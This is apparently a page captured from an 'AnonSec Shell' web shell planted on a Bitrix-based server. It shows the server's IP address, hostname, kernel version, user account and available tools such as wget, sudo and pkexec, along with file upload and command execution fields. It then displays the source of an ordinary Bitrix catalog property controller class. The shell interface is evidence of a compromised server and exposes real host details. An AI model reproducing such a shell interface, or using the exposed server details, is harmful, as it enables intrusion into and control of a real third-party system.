AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.145.18.228
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/catalog/lib/controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/catalog/lib/controller/productpropertybase.php
<?php

namespace Bitrix\Catalog\Controller;


use Bitrix\Catalog\Access\ActionDictionary;
use Bitrix\Catalog\CatalogIblockTable;
use Bitrix\Iblock\PropertyTable;
use Bitrix\Main\Error;
use Bitrix\Main\Result;
use Bitrix\Main\Type\Collection;

abstract class ProductPropertyBase extends Controller
{
	/**
	 * @return array
	 */
	protected function getCatalogIds(): array
	{
		static $catalogIds = null;

		if (is_null($catalogIds))
		{
			$catalogIds = array_column(CatalogIblockTable::getList(['select' => ['IBLOCK_ID']])->fetchAll(), 'IBLOCK_ID');
			Collection::normalizeArrayValuesByInt($catalogIds);
		}

		return $catalogIds;
	}

	/**
	 * @param $iblockId
	 * @return bool
	 */
	protected function isIblockCatalog(int $iblockId): bool
	{
		return in_array($iblockId, $this->getCatalogIds(), true);
	}

	/**
	 * @param int $iblockId
	 * @return Result
	 */
	protected function checkIblockModifyPermission(int $iblockId): Result
	{
		$result = new Result();

		if (!\CIBlockRights::UserHasRightTo($iblockId, $iblockId, self::IBLOCK_EDIT))
		{
			$result->addError(new Error('Access Denied'));
		}

		return $result;
	}

	/**
	 * @param int $propertyId
	 * @return Result
	 */
	protected function checkProperty(int $propertyId): Result
	{
		$result = new Result();
		$property = $this->getPropertyById($propertyId);
		if (!$property)
		{
			$result->addError(new Error('The specified property does not exist'));
			return $result;
		}

		if (!$this->isIblockCatalog((int)$property['IBLOCK_ID']))
		{
			$result->addError(new Error('The specified property does not belong to a product catalog'));
			return $result;
		}

		return $result;
	}

	/**
	 * @param array $fields
	 * @return Result
	 */
	protected function checkFieldsBeforeModify(array $fields): Result
	{
		$result = new Result();

		$newPropertyId = (int)$fields['PROPERTY_ID'];
		$checkPropertyResult = $this->checkProperty($newPropertyId);
		if (!$checkPropertyResult->isSuccess())
		{
			$result->addErrors($checkPropertyResult->getErrors());
			return $result;
		}

		$newProperty = $this->getPropertyById($newPropertyId);
		$iblockPermissionsCheckResult = $this->checkIblockModifyPermission($newProperty['IBLOCK_ID']);
		if (!$iblockPermissionsCheckResult->isSuccess())
		{
			$result->addErrors($iblockPermissionsCheckResult->getErrors());
			return $result;
		}

		return $result;
	}

	/**
	 * @inheritDoc
	 */
	protected function checkReadPermissionEntity()
	{
		$r = new Result();

		if (!($this->accessController->check(ActionDictionary::ACTION_CATALOG_READ)))
		{
			$r->addError(new Error('Access Denied'));
		}

		return $r;
	}

	/**
	 * @inheritDoc
	 */
	protected function checkModifyPermissionEntity()
	{
		return $this->checkReadPermissionEntity();
	}

	/**
	 * @param int $id
	 * @return array|bool
	 */
	protected function getPropertyById(int $id)
	{
		static $map = [];

		if (!isset($map[$id]))
		{
			$map[$id] = PropertyTable::getById($id)->fetch();
		}

		return $map[$id];
	}
}

Anon7 - 2022
AnonSec Team